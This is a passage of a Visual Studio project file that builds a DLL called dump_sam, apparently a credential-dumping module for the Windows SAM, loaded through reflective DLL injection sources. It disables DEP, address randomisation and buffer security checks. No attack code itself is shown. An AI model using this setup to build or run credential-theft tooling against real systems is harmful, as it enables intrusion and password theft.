<DataExecutionPrevention>false</DataExecutionPrevention>
<ModuleDefinitionFile>$(ProjectDir)../../source/dump_sam/dump_sam.def</ModuleDefinitionFile>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\"
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(TargetName).debug$(TargetExt)"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<AdditionalIncludeDirectories>..\..\source\ReflectiveDllInjection\common;..\..\source\ReflectiveDllInjection\dll\src;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck>
<CallingConvention>StdCall</CallingConvention>
<CompileAs>CompileAsC</CompileAs>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>false</DataExecutionPrevention>
<EntryPointSymbol>DllMain</EntryPointSymbol>
<ModuleDefinitionFile>$(ProjectDir)../../source/dump_sam/dump_sam.def</ModuleDefinitionFile>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF NOT EXIST "$(ProjectDir)..\..\output\" mkdir "$(ProjectDir)..\..\output\"
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="..\..\source\dump_sam\ReflectiveFreeAndExitThread.c" />
<ClInclude Include="..\..\source\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c">
<FileType>CppCode</FileType>
</ClInclude>
<ClCompile Include="..\..\source\dump_sam\dump_sam.c" />
<ClInclude Include="..\..\source\dump_sam\ReflectiveFreeAndExitThread.h" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\..\source\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
<ClInclude Include="..\..\source\dump_sam\dump_sam.h" />
</ItemGroup>
<ItemGroup>
<None Include="..\..\source\dump_sam\dump_sam.def" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>